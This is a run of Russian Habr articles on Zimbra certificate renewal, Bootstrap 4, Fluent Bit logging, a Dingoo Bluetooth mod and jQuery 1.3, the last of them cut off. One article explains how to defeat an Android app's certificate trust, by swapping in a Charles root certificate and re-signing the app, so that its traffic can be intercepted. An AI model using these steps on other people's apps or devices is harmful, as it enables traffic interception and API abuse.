cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4
WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJu
ZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBY
MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54rVygc
h77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+
0TM8ukj13Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6U
A5/TR5d8mUgjU+g4rk8Kb4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sW
T8KOEUt+zwvo/7V3LvSye0rgTBIlDHCNAymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyH
B5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ4Q7e2RCOFvu396j3x+UC
B5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf1b0SHzUv
KBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWn
OlFuhjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTn
jh8BCNAw1FtxNrQHusEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbw
qHyGO0aoSCqI3Haadr8faqU9GY/rOPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CI
rU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY9umbbjANBgkq
hkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ
3BebYhtF8GaV0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KK
NFtY2PwByVS5uCbMiogziUwthDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5
ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJwTdwJx4nLCgdNbOhdjsnvzqvHu7Ur
TkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nxe5AW0wdeRlN8NwdC
jNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZAJzVc
oyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq
4RgqsahDYVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPA
mRGunUHBcnWEvgJBQl9nJEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57d
emyPxgcYxn/eR44/KJ4EBs+lVDR3veyJm+kXQ99b21/+jh5Xos1AnX5iItreGCc=
-----END CERTIFICATE-----
```
Обратите внимание, что корневой сертификат, в результате команды в 7 строке, добавляется именно в конец полученного вами файла **chain.pem**
Все команды в этой части выполняются от имени пользователя **root**:
```
su - zimbra -c "/opt/zimbra/bin/zmproxyctl stop"
su - zimbra -c "/opt/zimbra/bin/zmmailboxdctl stop"
certbot renew --standalone --force-renewal --preferred-chain "ISRG Root X1"
rm -f /opt/zimbra/ssl/letsencrypt/*
rm -f /opt/zimbra/ssl/zimbra/commercial/commercial.key
cp /etc/letsencrypt/live/mail.example.com/* /opt/zimbra/ssl/letsencrypt/
cat letsencryptCA >> /opt/zimbra/ssl/letsencrypt/chain.pem
cp /opt/zimbra/ssl/letsencrypt/privkey.pem /opt/zimbra/ssl/zimbra/commercial/commercial.key
chown zimbra:zimbra /opt/zimbra/ssl/letsencrypt/*
chown zimbra:zimbra /opt/zimbra/ssl/zimbra/commercial/commercial.key
cd /opt/zimbra/ssl/letsencrypt
su zimbra
```
В этот момент мы переключаемся на пользователя **zimbra** и выполняем следующее:
```
zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem
zmcertmgr deploycrt comm cert.pem chain.pem
zmcontrol restart
```
Если всё пройдет без ошибок, то вы получите свежий сертификат и работающую почтовую систему.
Источники информации:
* <https://snapcraft.io/docs/installing-snapd>
* <https://certbot.eff.org/instructions>
* <https://wiki.zimbra.com/wiki/Installing_a_LetsEncrypt_SSL_Certificate>
* <https://letsencrypt.org/certificates/> | https://habr.com/ru/post/581180/ | null | ru | null |
# Bootstrap 4 вышел в alpha версии
[](http://v4-alpha.getbootstrap.com)
Те кто так или иначе связан с веб разработкой скорее всего знает что такое Bootstrap.
Лично я познакомился с фреймворком Bootstrap версии 2.x и он на меня произвел неизгладимое впечатление. Можно было без участия дизайнера получить вполне сносный интерфейс. Встроенный перфекционист ликовал. Можно ругаться, что интернет стал очень уж бутстраповым, но нужно отдать должное, парни, работающие над ним в целом молодцы и делают нужное, а то, что народ ленивый – проблема другая.
Сегодня день рождения этого замечательного фреймворка. В свой день рождения был объявлен Bootstrap 4.
> Woohoo! Twitter Bootstrap, an open-sourced CSS/HTML framework from myself and [@fat](https://twitter.com/fat), just went live: <http://t.co/3OOsQ5T> [#kaboom](https://twitter.com/hashtag/kaboom?src=hash)
>
> — Mark Otto (@mdo) [19 августа 2011](https://twitter.com/mdo/status/104620039650557952)
Bootstrap 4 – что нового?
=========================
Как пишут сами разработчики нового много и сложно описать все изменения в не большом обзоре. И я не буду. Основные моменты:
Переезд с Less на Sass
----------------------
Bootstrap теперь компилируется быстрее обычного за счет использования Libsass.
Улучшения системы сеточной верстки
----------------------------------
Больший упор на мобильных пользователей. Были полностью переработаны миксины.
Теперь, судя по документации, можно из коробки получить нужные примеси в любом месте. Например вы хотите, чтоб в вашем проекте был класс .line вместо прежного .row:
```
.line {
@include make-row();
}
```
Поддержка Flexbox
-----------------
Как пишут сами разработчики: «Будущее наступило...». Легким движением переменной и перекомпилированием можно получить Bootstrap основанный на [Flexbox](http://habrahabr.ru/post/242545/)
[Карточки (Cards)
----------------](http://v4-alpha.getbootstrap.com/components/card)
На смену некоторым компонентам (well, thumbnail, panel) пришли карточки. Они делают тоже самое только еще лучше.
[Reboot
------](http://v4-alpha.getbootstrap.com/content/reboot)
Все, что в Bootstrap 3 выполняло роль сброса HTML для кросс-браузерной верстки получилось в виде модуля Reboot. С настройками в одном sass файле.
Новые опции настройки
---------------------
В новой версии проект получил множество настроек через переменные Sass. Подробности в исходниках, без ковыряния в них сложно сказать чем именно это отличается от того, что было раньше в Less или Sass версиях фреймворка.
IE8 не поддерживается. Перешли на rem и em вместо px
----------------------------------------------------
Если нужна поддержка IE8 оставайтесь на Bootstrap 3. Обновились для того, чтобы поддерживать всё лучшее из CSS без необходимости использовать костыли. Отказ от пикселей обусловлен необходимостью лучшей поддержки отзывчивой типографики и более простого изменения размеров компонентов.
Переписаны все JavaScript плагины
---------------------------------
Все плагины были переписаны в ES6 чтобы воспользоваться всем преимуществами новейшего JavaScript.
Улучшена работа подсказок и popover элементов
---------------------------------------------
Спасибо, как я понимаю, нужно говорить проекту [Tether](http://github.hubspot.com/tether/). Поправьте если ошибаюсь.
Улучшена документация
---------------------
Переписано на [Markdown](https://ru.wikipedia.org/wiki/Markdown) и добавлено пара удобных плагинов для более удобной работы с документацией. Скоро появится улучшенный поиск.
Много нового
------------
Удобный контроль над формами, классы для отступов, новые классы-утилиты и много чего еще.
Версия 4 содержит около 1100 коммитов и 120000 строк изменений, а работа всё еще не завершена.
План разработки следущий:
— Выпустить пару alpha релизов;
— 2 beta релиза после того как определятся с возможностями и функционалом и хорошего тестирования;
— Парочка RC, чтоб вообще всё оттестировать;
— Релиз.
Bootstrap 3
===========
Разработчики жалеют, что после релиза Bootstrap 3 они свернули поддержку второй версии. Ошибку эту они повторять не хотят, поэтому в обозримом будущем поддержка Bootstrap 3 продолжится. Будут критические баг фиксы и улучшения документации. Документация по тройке также будет доступна после финального релиза Bootstrap 4.
Но и это еще не всё! Сегодня был запущен еще один проект – [Official Bootstrap Themes](http://themes.getbootstrap.com/).
[](http://themes.getbootstrap.com/)
Пока там 3 внушительные темы по $99 (dashboard, application, marketing). В каждой можно найти всё из Bootstrap + примеры из реального мира, компоненты, плагины, документация и удобные утилиты. Все темы можно использовать сколько угодно раз, для любых проектов, но не продавать саму тему или производные от нее.
[Скорее смотреть чего они там напридумывали!](http://v4-alpha.getbootstrap.com) | https://habr.com/ru/post/265109/ | null | ru | null |
# Реверс API по его android приложению
### Зачем
У меня есть pet-project, приложение для учета финансов.
На мой взгляд, одной из ключевых проблем подобных приложений является ручной ввод баланса.
У банков есть информация о транзакциях которые я совершаю и даже есть неплохая аналитика.
Но
* Банков несколько и они ничего не знают друг про друга. В итоге
+ Нет единой аналитики
+ Перевод денег из одного банка в другой будет считаться как списание с одной стороны и зачисление с другой. Эта особенность портит аналитику.
* Возможность работать с данными позволяет строить любую аналитику и прогнозы в отличие от ui банка
Для доступа к данным можно использовать разные каналы: сайты и приложения. Сайты выглядят проще: взял дебагер chrome и вперед. Но данные на сайте чаще меняют свою структуру, так как кроме данных они содержат еще элементы UI. Приложения, в отличие от сайтов, запрашивают данные с сервера и только в своих кишках делают из него UI. На сайте нужно оперировать html, который построен на малопонятных, мутабельных div, изменямых javascript*ом*. В приложения обычно приходят уже удобные для машинной обработки json/xml.
**Дисклеймер**Я понятия не имею насколько легальны действия в данной статье. На мой взгляд это скраппинг своих данных, к которым я должен иметь доступ. Я не юрист, но знаю, что законодательство РФ обширно и, если навредить большой компании, то статья найдется и на эти действия. Доступа к чужим данным таким образом не получить.
В политике многих приложений стоит запрет на модификацию кода этих приложений. Чем грозит нарушение данного пункта я не знаю. В связи с этим тут нет конкретных примеров приложений. Все действия описанны с точки зрения, реверса приложения которое не запрещает его реверсить.
**Я не призываю совершать противоправные действия**, будьте зайками.
Изначально данная статья была примером реверса приложения одного сервиса. К сожалению, редактирование статьи не удаляет коментарии, где было обсуждение какое конкретно приложение можно зареверсить таким образом. В связи с этим, был вынужден сделать повторную публикацию вместо изменения исходной статьи.
### Как
Краткая инструкция для реверса приложения
* Качаем [charles](https://www.charlesproxy.com/), [apktool](https://ibotpeaches.github.io/Apktool/install/), ["штука для подписи приложений"](https://github.com/MEJIOMAH17/sberbank-api/blob/master/reverse/sign.jar)
* Подготавливаем приложение к [MITM](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BF%D0%BE%D1%81%D1%80%D0%B5%D0%B4%D0%BD%D0%B8%D0%BA%D0%B0)
+ С помощью apktool анбоксим приложение `apktool d -f -r app.apk`
+ Меняем политику безопасности приложения, на доверие сертификатам телефона
- Меняем/Добавляем файл network\_security\_config.xml с содержанием
```
```
- Убеждаемся/Добавляем декларацию network\_security\_config.xml в манифесте AndroidManifest.xml атрибутом networkSecurityConfig
+ Некоторые приложения не будут вестись на такой способ валидации сертификатов
и имеют собственное хранилище сертификатов. Для них
- Выгружаем из charles корневой сертификат `Help > SSL Proxying > Save Charles Root Certificate`
- Заменяем доверенный сертификат на сертификат charles `cp your\_app/res/somePath/somecert.cer`
- Теперь приложение будет доверять charles вместо настоящего.
* Собираем приложение обратно `apktool b yourapp -o ${apkName}`
* И подписываем его `java -jar sign.jar ${apkName}`
* Подписанное приложение устанавливается вместо настоящего на телефон
* Конфигурируем телефон на проксирование трафика через Charles `(в настройках wifi выбирается Proxy. IP - машины с charles, PORT-8888)`
* Устанавливаем сертификат charles на телефон.
+ Заходим на <https://chls.pro/ssl>
+ Скачивам сертификат
+ Устанавливаем его
* Запускаем приложение и снифим трафик.
### Итог
После всех манипуляций можно снифить трафик приложения и довольно быстро разобраться как производить в нем нужные вам действия. Обычные шаги:
* Посмотреть на процесс регистрации устройства. В результате нужно получить специальный id вашего девайса, который знает сервер
* Разобраться в процессе аутентификации. Обычно происходит передачей id девайса и пароля на сервер. В ответ обычно выдают токен, который потом используется в header или cookie. Типичный пример [jsessionid](https://javarevisited.blogspot.com/2012/08/what-is-jsessionid-in-j2ee-web.html)
* Совершать действия в приложении, приводящие вас к интересной вам информации, смотреть на запросы.
* Запросы воспроизводим в коде, далее обрабатывая информацию по своему усмотрению.
**Update** — [Ценное дополнение к статье](https://habr.com/ru/post/495682/#comment_21463074) | https://habr.com/ru/post/495682/ | null | ru | null |
# Доставка логов с ВМ из systemd в Yandex Cloud Logging
Одна из самых частых и понятных задач в разработке и эксплуатации — доставка логов. И дальше в статье мы с вами используем Fluent Bit для доставки логов из виртуальной машины в сервис Yandex Cloud Logging.
Шаг 1. Пишем логи в systemd
---------------------------
Возможно, у вас уже есть сервис, поставку чьих логов вы хотели бы настроить. Тогда переходите к шагу 2. Если же нет, то можно воспользоваться следующим кодом на Python, чтобы генерировать тестовые логи, которые впоследствии мы будем отправлять.
Итак, нам понадобится Python 3.6 и выше.
1. Заведём директорию, куда сложим все необходимые файлы:
```
sudo mkdir /usr/local/bin/logtest
cd /usr/local/bin/logtest
```
2. Добавим следующий код в файл logtest.py:
```
import logging
import random
import sys
import time
from systemdlogging.toolbox import check_for_systemd
from systemdlogging.toolbox import SystemdFormatter
from systemdlogging.toolbox import SystemdHandler
# Следующие несколько строк могут быть заменены на вызов `systemdlogging.toolbox.init_systemd_logging`
# Но я приведу этот код полностью в целях демонстрации.
# Проверяем доступен ли systemd
systemd_ok = check_for_systemd()
if systemd_ok:
handler = SystemdHandler()
# syslog_id: значение которое будет использовано в поле SYSLOG_IDENTIFIER.
handler.syslog_id = ''
handler.setFormatter(SystemdFormatter())
# получаем инстанс объекта логгера
logger = logging.getLogger()
logger.addHandler(handler)
else:
# Ветка будет использована для локальной отладки, если у вас нет systemd (MacOS, Windows)
logger = logging.getLogger(__name__)
# Выводить логи будем в STDOUT
handler = logging.StreamHandler(stream=sys.stdout)
handler.setFormatter(logging.Formatter(
'[%(levelname)s] %(code)d %(message)s'
))
logger.addHandler(handler)
# Опционально можно настроить уровень логирования по умолчанию
logger.setLevel(logging.DEBUG)
# Мы могли бы обойтись и простым логированием случайных чисел, но я решил генерировать URL-подобные значения.
PATHS = [
'/',
'/admin',
'/hello',
'/docs',
]
PARAMS = [
'foo',
'bar',
'query',
'search',
None
]
def fake_url():
path = random.choice(PATHS)
param = random.choice(PARAMS)
if param:
val = random.randint(0, 100)
param += '=%s' % val
code = random.choices([200, 400, 404, 500], weights=[10, 2, 2, 1])[0]
return '?'.join(filter(None, [path, param])), code
if __name__ == '__main__':
while True:
# создаем пару код и значение URL
path, code = fake_url()
# Если код 200, то пишем в лог с уровнем Info
# Cloud Logging ориентируется на текстовое написание уровня логирования, поэтому в `context` передадим
# дополнительное значение `SEVERITY`. Оно попадет в journald и сможет быть прочитано в плагине yc-logging.
# В продуктовом коде это стоит вынести в `SystemdHandler`, чтобы не потерять,
# но в примере я оставлю так для наглядности.
if code == 200:
logger.info(
'Path: %s',
path,
extra={"code": code, "context": {"SEVERITY": "info"}},
)
# Иначе с уровнем Error
else:
logger.error(
'Error: %s',
path,
extra={"code": code, "context": {"SEVERITY": "error"}},
)
# Ждем 1 секунду, чтобы излишне не засорять журнал
time.sleep(1)
```
3. Заведём virtualenv и установим в него все нужные зависимости:
```
sudo apt install python3-pip python3.8-venv
python -m venv venv
source venv/bin/activate
pip3 install systemd-logging
```
Теперь нам понадобится скрипт logtest.sh, который будет вызываться systemd для запуска нашего сервиса:
```
#!/bin/bash
SCRIPT_PATH=$(dirname "$(realpath "$0")")
. "$SCRIPT_PATH/venv/bin/activate"
python "$SCRIPT_PATH/logtest.py"
```
4. Создадим файл logtest.service с описанием нашего сервиса:
```
[Unit]
Description=Sample to show logging from a Python application to systemd
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/logtest/logtest.sh
Restart=on-abort
[Install]
WantedBy=multi-user.target
```
5. Этот файл может лежать в любом каталоге, который вам нравится. Я бы предложил положить его с исходным кодом на Python для этого приложения. Но чтобы systemd нашёл файл, нам нужно придерживаться соглашения о том, куда складывать unit-файлы. Не буду вдаваться в подробности о systemd (тут на целую книгу хватит, это выходит за рамки поста в блоге) — убедимся, что наш файл модуля имеет symlink в /etc/systemd/system. Для этого выполним команду:
```
sudo ln -s "$(pwd)/logtest.service" \
/etc/systemd/system/logtest.service
```
6. Теперь можно перезагрузить systemd:
```
sudo systemctl daemon-reload
```
7. Проверим, что всё ОК:
```
systemctl status logtest.service
```
Там должно быть написано, что сервис загружен, но не активен.
8. Запустим systemd:
```
systemctl start logtest.service
```
Теперь, если снова посмотреть статус, то там должно быть **active (running).**
Шаг 2. Ставим Fluent Bit
------------------------
Но сначала проясним пару моментов.
И там и там птичка, так в чём же разница?### Fluent Bit vs Fluentd
Чтобы упростить работу с логами, когда-то появился Fluentd. Он был написан на Ruby и со временем вырос в целую экосистему, которая включает и Fluent Bit. Быстрое сравнение приведено в таблице:
https://docs.fluentbit.io/manual/about/fluentd-and-fluent-bitКак видно, для установки Fluent Bit не нужны никакие зависимости типа Ruby. И хотя к нему есть меньше плагинов, чем для Fluentd, зато он потребляет значительно меньше памяти.
### Теперь разберёмся, как его поставить
1. Добавим GPG-ключ, которым подписаны пакеты в репозитории Fluent Bit.
```
$ wget -qO - https://packages.fluentbit.io/fluentbit.key | sudo apt-key add -
```
2. В Ubuntu добавим в файл /etc/apt/sources.list строчку:
```
deb https://packages.fluentbit.io/ubuntu/focal focal main
```
3. Затем обновим индексы:
```
sudo apt-get update
```
4. Теперь можно установить последнюю версию td-agent-bit:
```
sudo apt-get install td-agent-bit
```
5. После этого его остаётся только перезапустить:
```
sudo service td-agent-bit start
```
6. Что всё ОК, можно проверить командой:
```
sudo service td-agent-bit status
```
Там должно быть active (running).
Шаг 3. Подключаем плагин
------------------------
Fluent Bit поддерживает плагины, написанные на Go. Это экспериментальный, но вполне рабочий [API](https://docs.fluentbit.io/manual/development/golang-output-plugins).
1. Итак, клонируем репозиторий с кодом плагина:
```
git clone https://github.com/yandex-cloud/fluent-bit-plugin-yandex.git
```
2. Для начала нам понадобится Go. Инструкция по установке [тут](https://golang.org/doc/install).
3. Теперь скомпилируем библиотеку:
```
export fluent_bit_version=1.8.6
export plugin_version=dev
CGO_ENABLED=1 go build -buildmode=c-shared \
-o ./yc-logging.so \
-ldflags "-X main.PluginVersion=${plugin_version}" \
-ldflags "-X main.FluentBitVersion=${fluent_bit_version}"
```
4. Копируем полученную библиотеку:
```
sudo cp yc-logging.so /usr/lib/td-agent-bit/yc-logging.so
```
5. И регистрируем её в файле с конфигурацией плагинов /etc/td-agent-bit/plugins.conf:
```
[PLUGINS]
Path /usr/lib/td-agent-bit/yc-logging.so
```
6. Вносим изменения в конфиг самого сервиса. folder\_id укажите свой. Если к ВМ привязан service account с правами писать в Yandex Cloud Logging, то authorization укажите instance-service-account. Другие варианты авторизации и значение остальных параметров можно посмотреть [тут](https://github.com/yandex-cloud/fluent-bit-plugin-yandex#configuration-parameters).
```
[INPUT]
Name systemd
Tag host.*
Systemd_Filter _SYSTEMD_UNIT=logtest.service
[OUTPUT]
Name yc-logging
Match *
resource_type logtest
folder_id b1g***
message_key MESSAGE
level_key SEVERITY
default_level WARN
authorization instance-service-account
```
7. Перезагружаем сервис td-agent-bit:
```
sudo systemctl restart td-agent-bit
```
8. Отлично. Теперь можно убедиться, что логи поступают:
Yandex Cloud Logging**P. S.** Yandex Cloud Logging — это serverless-сервис в Yandex.Cloud. Если вам интересна экосистема Serverless-сервисов и все, что с этим связано, заходите в [сообщество в Telegram](https://t.me/YandexCloudFunctions), где можно обсудить serverless в целом.
Настройка работы Fluent Bit в контейнерах ещё проще. Но о ней я расскажу в следующей публикации. | https://habr.com/ru/post/584718/ | null | ru | null |
# Беспроводная сеть на Dingoo A320
Dingoo A320 уже третий год держит пальму первенства по популярности среди карманных эмуляторов всего-что-только-может-эмулироваться, и неспроста — низкая цена, достойное железо и огромная армия фанатов позволили этой приставке буквально завоевать мир. Но есть один, существенный в XXI веке недостаток — отсутствие каких-либо беспроводных интерфейсов. Эту проблему мы и будем решать.
Итак, дано — Dingoo A320 с установленным Dingux. Требуется максимально бюджетным образом прикрутить беспроводную TCP/IP-сеть.
*\*фото пользователя Nzeemin с wikipedia.org*
На самом деле все описанное применимо и к Vogue/Playboy-плееру, и к различным eInk-читалкам, и ко множеству прочих устройств с мобильным линуксом.
Идельным вариантов было бы заполучить в нашей приставке Wi-fi, но единственный разумный способ добиться этого — использовать SDIO-карточку — отпадает по двум причинам: во-первых, в динге mini-SD, и найти SDIO-wireless под такой формат проблематично, и во-вторых, dingux пока что работает только с карты памяти, и слот всегда занят.
Остается Bluetooth. USB-хост, через который можно было бы подключить BT-донгл в процессоре имеется, но никуда на плате не распаян, так что этот вариант отпадает. И тут на арену выходит довольно безумная, но просто осуществимая идея SLIP over Bluetooth.
Поясню, что имеется в виду. В Dingoo, как и практически в любом устройстве есть выведенный на плату последовательный порт, который используется производителем для отладки. Под dingux этот порт полностью в нашем распоряжении, и по умолчанию на нем висит обычная линукс-консоль, куда можно залогиниться и вводить команды. Если отключить эту консоль, соединить последовательный порт приставки с последовательным портом компьютера, то мы получим классический [нуль-модем](http://ru.wikipedia.org/wiki/%D0%9D%D1%83%D0%BB%D1%8C-%D0%BC%D0%BE%D0%B4%D0%B5%D0%BC). После этого, используя протокол PPP можно установить сессию и поднять TCP/IP-соединение поверх последовательного порта. Да-да, именно это мы и делали еще лет 10 назад, названивая провайдеру через модем. Но протокол PPP для нас излишен, ведь нам требуется надо всего лишь подключить приставку, а не организовывать модемный пул.
Предшественником PPP был протокол SLIP. В отличие от PPP, SLIP работает в одноранговых сетях, то есть когда нет разделения на серверные и клиентские машины. Достаточно лишь соединить два компьютера, настроить последовательные порты на одинаковую скорость, и дать понять операционке, что это — сетевое подключение. В linux для этого используется команда slattach, в Windows — несколько кликов мышкой. К сожалению, в Windows 7 встроенную поддержку SLIP убрали, и для её настройки требуется “режим совместимости с Windows XP” (не силен в Windows, поэтому не знаю, насколько это сложно).
Внимательный читатель уже готовится возмутиться, ведь я слишком много говорю о последовательных портах, и ни слова еще не сказал о том, как же мы будем организовывать беспроводное соединение. Читатель прав, пора раскрыть главный козырь.
Встречайте — [Wireless Bluetooth RS232 TTL Transceiver Module](http://www.dealextreme.com/p/wireless-bluetooth-rs232-ttl-transceiver-module-80711). Этот девайс умеет ровно то, что требуется (организовывает Bluetooth Serial Port и подменяет собой нуль-модемный кабель в вышеописанной схеме), и стоит всего $6.60 (на DealExtreme, на eBay есть и дешевле). Приличной документации на это чудо (как и практически на все китайские устройства) нет, но из двух-трех страничных даташитов становится понятно, куда нужно припаивать провода.
Распиновка нужных нам контактов следующая (держим компонентами к себе антенной вверх, нумерация против часовой начиная с левого верхнего контакта):
1 — Tx, передача (припаиваем к Rx приставки)
2 — Rx, прием (припаиваем к Tx приставки)
12 — VCC, 3.3V
13 — GND
Осторожно вскрываем дингу — 4 резиновые заглушки сзади, под ними 4 винта, после этого пластиковой карточкой расщелкиваем защелки, очень аккуратно отклеиваем батарею, откручиваем еще два винта, и вытаскиваем плату. Аккуратненько поддеваем экран, отгибаем его в сторону. Под экраном располагается 4 подписанных контакта, 2 из которых — это наш последовательных порт. Теперь припаиваем BT-адаптер по следующей “схеме”, стараясь делать пайку как можно более “плоской”, иначе в собранном обратно устройстве бугорки олова будут давить на экран, на котором будут возникать темные (это в лучшем случае) пятна.
[](http://dl.dropbox.com/u/4166599/dingoo/dingoo1.jpg)
Питание 3.3 В взято с FM-модуля, удобная земля найдена в крепеже кнопки Reset. Так выглядит моя приставка после вмешательства:
[](http://dl.dropbox.com/u/4166599/dingoo/dingoo2.jpg)
[](http://dl.dropbox.com/u/4166599/dingoo/dingoo3.jpg)
Не обращайте внимания на два провода, которые припаяны к оставшимся контактам под экраном — это для дальнейших извращений, к этой статье они отношения не имеют.
Собираем обратно. Платку можно расположить рядом с аккумулятором, предусмотрительно изолировав её от основной платы хотя бы бумагой. На этом железная часть окончена, можно выключать паяльник и сматывать МГТФ. Переходим к софтовой.
Первым делом нам требуется отключить консоль на последовательном порту, которую dingux по умолчанию там запускает. Для этого подключаемся к динге по telnet через USB, вводим
`vi /etc/inittab`
и удаляем (или комментируем) строку
`ttyS0::respawn:/sbin/getty -L ttyS0 57600 vt100`
и перезагружаем Dingoo. Теперь требуется изменить настройки BT-адаптера, а именно скорость порта и имя устройства. Для этого опять заходим через telnet и
`screen /dev/ttyS0 9600`
Пока bluetooth-соединение не установлено, платка принимает AT-команды. Есть одна особенность — при вводе нужно уложиться в 1 секунду, поэтому команды надо отправлять через copy-paste, а не набирать вручную. Перевод строки после введенной команды также не нужен. Для начала отправим обычное
`AT`
Если получен ответ OK, значит все в порядке. Иначе ищем дефекты пайки.
Установим скорость порта равной 57600
`AT+BAUD7`
придет ответ OK57600;
и имя устройства
`AT+NAMEdingoo`
получим ответ OKdingoo.
Теперь настало время перекомпилировать ядро dingux, включив в нем опцию CONFIG\_SLIP=y. В конце статьи будут приведены ссылки на скомпилированное ядро, которое используется мной, но оно в значительной степени устаревшее (к примеру, нет эмуляции мыши).
Снова перезагружаемся и переходим к настройке компьютера. У меня, к сожалению, нет Windows-машин под рукой, поэтому все описано только для Linux. Сперва обнаруживаем новое устройство и спариваемся с ним. Ставим утилиту slattach (пакет net-tools в Debian), после чего выполняем скрипт
`#!/bin/sh
# Should be run with root privileges
rfcomm bind rfcomm0 00:11:22:33:44:55
slattach -L -m -s 57600 -p slip /dev/rfcomm0 &
while ! ifconfig sl0
do
sleep 1
done
ifconfig sl0 10.100.1.1 pointopoint 10.100.1.2 up`
Замените 00:11:22:33:44:55 на bluetooth-адрес вашей динги (узнать его можно в менеджере Bluetooth или через команду hcitool scan).
Копируем на dingoo скомпилированную под неё версию slattach (см. ссылки в конце), заходим через telnet (пока еще по usb), и выполняем
`#!/bin/sh
/boot/slattach /dev/ttyS0 57600
while ! ifconfig sl0
do
sleep 1
done
stty -F /dev/ttyS0 intr undef quit undef rprnt undef flush undef min 1 cread
ifconfig sl0 10.100.1.2 pointopoint 10.100.1.1 up`
Команда stty необходима, поскольку терминал изначально настроен на текстовое взаимодействие с пользователем, а нам нужно передавать бинарные данные. Этот скрипт нужно сохранить в файл и создать на него ссылку из меню dingux, чтобы исключить необходимость коннектиться по usb, и сделать беспроводную связь полноценно беспроводной.
Все! Выполняем на компьютере
`ping 10.100.1.2`
и видим радостные сообщения о полученных откликах.
Дальность работы устройства около пяти метров (при прямой видимости), но на BT-адаптере предусмотрено место для припаивания внешней антенны, при её использовании дальность может значительно возрасти.
Для увеличения скорости обмена можно, во-первых, переключить адаптер на скорость 115200 бод (и подредактировать все скрипты соответствующим образом), и, во-вторых, использовать вместо обычного SLIP его компрессированный вариант — CSLIP.
Разумеется, что telnet- и ftp-сервер, через которые dingux общается с пользователем, теперь доступны и через bluetooth. Но к сожалению, прочего сетевого софта в принципе нет, даже веб-браузера. Так что из сетевых развлечений только игры, в которых при портировании не был вырезан мультиплеер — например, Doom.
И, наконец, ссылки на файлы:
1. [slipintro](http://www.sics.se/~bg/telos/slipintro.pdf) — ссылка на руководство по настройке SLIP под Windows XP. Надеюсь, поможет тем, у кого нет Linux.
2. [zImage\_IL9325](http://dl.dropbox.com/u/4166599/dingoo/zImage_IL9325) | [zImage\_IL9331](http://dl.dropbox.com/u/4166599/dingoo/zImage_IL9331) | [zImage\_IL9338](http://dl.dropbox.com/u/4166599/dingoo/zImage_IL9338) — ядро (три версии для трех типов дисплея). Как уже отмечал, оно годичной давности, и последние изменения от OpenDingux или SCiENcE в нем отсутствуют.
3. [rootfs](http://dl.dropbox.com/u/4166599/dingoo/rootfs) — rootfs для этого ядра (уже с измененным /etc/inittab).
4. [slattach](http://dl.dropbox.com/u/4166599/dingoo/slattach) — бинарник для dingux. | https://habr.com/ru/post/126881/ | null | ru | null |
# jQuery 1.3
Приятная новость для всех поклонников данного фреймворка. В день рождения библиотеки (которой сегодня исполняется уже три года) команда разработчиков [объявила о выходе новой версии](http://blog.jquery.com/2009/01/14/jquery-13-and-the-jquery-foundation/) — 1.3!
Скачать новую версию фреймворка можно по следующим ссылкам:
* [Сжатая версия](http://code.google.com/p/jqueryjs/downloads/detail?name=jquery-1.3.min.js) (54kb)
* [Обычная версия](http://code.google.com/p/jqueryjs/downloads/detail?name=jquery-1.3.js) (114kb)
Что нового?
-----------
### Sizzle: новая технология работы селекторов
Прежде всего хочется сказать о новой технологии работы селекторов, которую назвали [Sizzle](http://sizzlejs.com/). Среди ее особенностей выделяют быстродействие, которая заявляется на 49% лучше, чем в предыдущей версии фреймворка. В дополнение приводится сравнение с работой селекторов в других библиотеках:
При этом сама технология была наделена полной самостоятельностью и автономностью, потому может использоваться в дальнейшем авторами других популярных фреймворков.
### «Живые» события: live events
В новой версии появились так называемые «живые события» — события, которые могут быть определены для всех текущих и последующих элементов:
```
$("p").live("click", function(){
$(this).after("Another paragraph!
");
});
```
Смотрим [живой пример](http://konstantin.gergel.ru/jquery/live/).
### Объект событий
Серьезно была переработана технология обработки событий, которые вошли в новый объект *jQuery.Event*, нормально функционирующий во всех браузерах. Подробная информация о внесенных изменениях появится чуть позже.
### Инъекция кода в HTML
